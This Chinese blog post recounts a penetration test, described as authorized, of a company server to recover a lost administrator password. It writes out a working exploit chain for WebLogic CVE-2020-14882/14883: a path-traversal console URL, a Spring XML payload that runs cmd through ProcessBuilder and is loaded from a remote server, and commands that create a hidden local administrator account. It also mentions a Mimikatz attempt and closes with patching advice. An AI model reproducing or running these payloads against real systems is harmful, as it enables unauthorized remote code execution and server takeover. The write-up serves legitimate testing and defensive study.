记一次企业业务服务器渗透,WebLogic未授权代码执行

记一次企业业务服务器渗透,WebLogic未授权代码执行

王忘杰
2022-07-26 / 0 评论 / 287 阅读 / 正在检测是否收录...
温馨提示:
本文最后更新于2022年07月26日,已超过639天没有更新,若内容或图片失效,请留言反馈。

《中华人民共和国刑法》
第二百八十五条规定,非法侵入计算机信息系统罪;非法获取计算机信息系统数据、非法控制计算机信息系统罪;提供侵入、非法控制计算机信息系统程序、工具罪是指,违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。

违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。

提供专门用于侵入、非法控制计算机信息系统的程序、工具,或者明知他人实施侵入、非法控制计算机信息系统的违法犯罪行为而为其提供程序、工具,情节严重的,依照前款的规定处罚。

背景说明
本次渗透已获得授权,本文仅用于分享渗透思路,若将本文思路用于违法行为,后果自负!
本次渗透目的用于找回一台服务器密码,因为管理员密码丢失,无法登录和管理此服务器,而停机PE修改密码必然会影响业务运行,因此本次采用渗透方式尝试获取管理员密码。

信息收集
一开始我有想过MS17-010永恒之蓝漏洞和向日葵CNVD-2022-10270/CNVD-2022-03672,可以一击必杀,但现实肯定没这么简单,MS17-010的补丁已经打了,而向日葵这玩意会自动升级。

所以先用Goby全端口全漏洞扫描了一遍
QQ截图20220726200416.png

能扫出来的高危漏洞就有5个,这不稳了?
ActiveMQ default admin account
默认管理员密码漏洞,漏洞存在,但是这个组件我不熟悉,没法利用
QQ截图20220726200838.png

CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE
BlueKeep这漏洞在我心里就是个蓝屏漏洞,在这里无用武之地

tomcat lfi (CVE-2020-1938)
文件读取、包含,我这里管理员都登陆不上去,所以也没啥用

Weblogic Server RCE (CVE-2021-2109)
远程代码执行漏洞,实现起来有点复杂,先放一下

Oracle WebLogic Unauthenticated Takeover (CVE-2020-14883)
CVE-2020-14882&CVE-2020-14883 Weblogic未授权远程命令执行漏洞,这两个漏洞一般是同时修复,存在一个基本也就存在另一个,两者结合,可以一试

构造POC
查看登录页

http://IP:7001/console/login/LoginForm.jsp

QQ截图20220726201504.png

后台越权访问

http://IP:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29

QQ截图20220726201628.png

编写POC.XML,上传到自己的web服务器

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>cmd</value>
        <value>/c</value>
        <value><![CDATA[echo hello > "../../../wlserver/server/lib/consoleapp/webapp/images/xxx.jsp"]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>

执行远端XML

http://IP:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://我的web服务器/poc.xml")

验证结果

http://IP:7001/console/images/xxx.jsp

QQ截图20220726201933.png

稳了!查看当前用户,把POC里的echo hello改成whoami,验证结果
QQ截图20220726202021.png

system权限,我焯!
依次构造添加用户并加入管理员组的POC

net user test test /add
net localgroup administrators test /add

直接远程登陆
QQ截图20220726202222.png

因为没有管理员密码,所以管理员从未登陆过,使用Mimikatz获取管理员密码的尝试失败了。

我这里选择修改administrator密码,至此,渗透完成!

修复建议
1、及时更新系统补丁,淘汰已过期的操作系统,如windows2008R2
2、及时更新服务组件,如本文中OracleWebLogic、ActiveMQ、tomcat均存在漏洞
3、安装EDR、部署IPS入侵防御系统,增强系统安全性

1

评论

博主关闭了所有页面的评论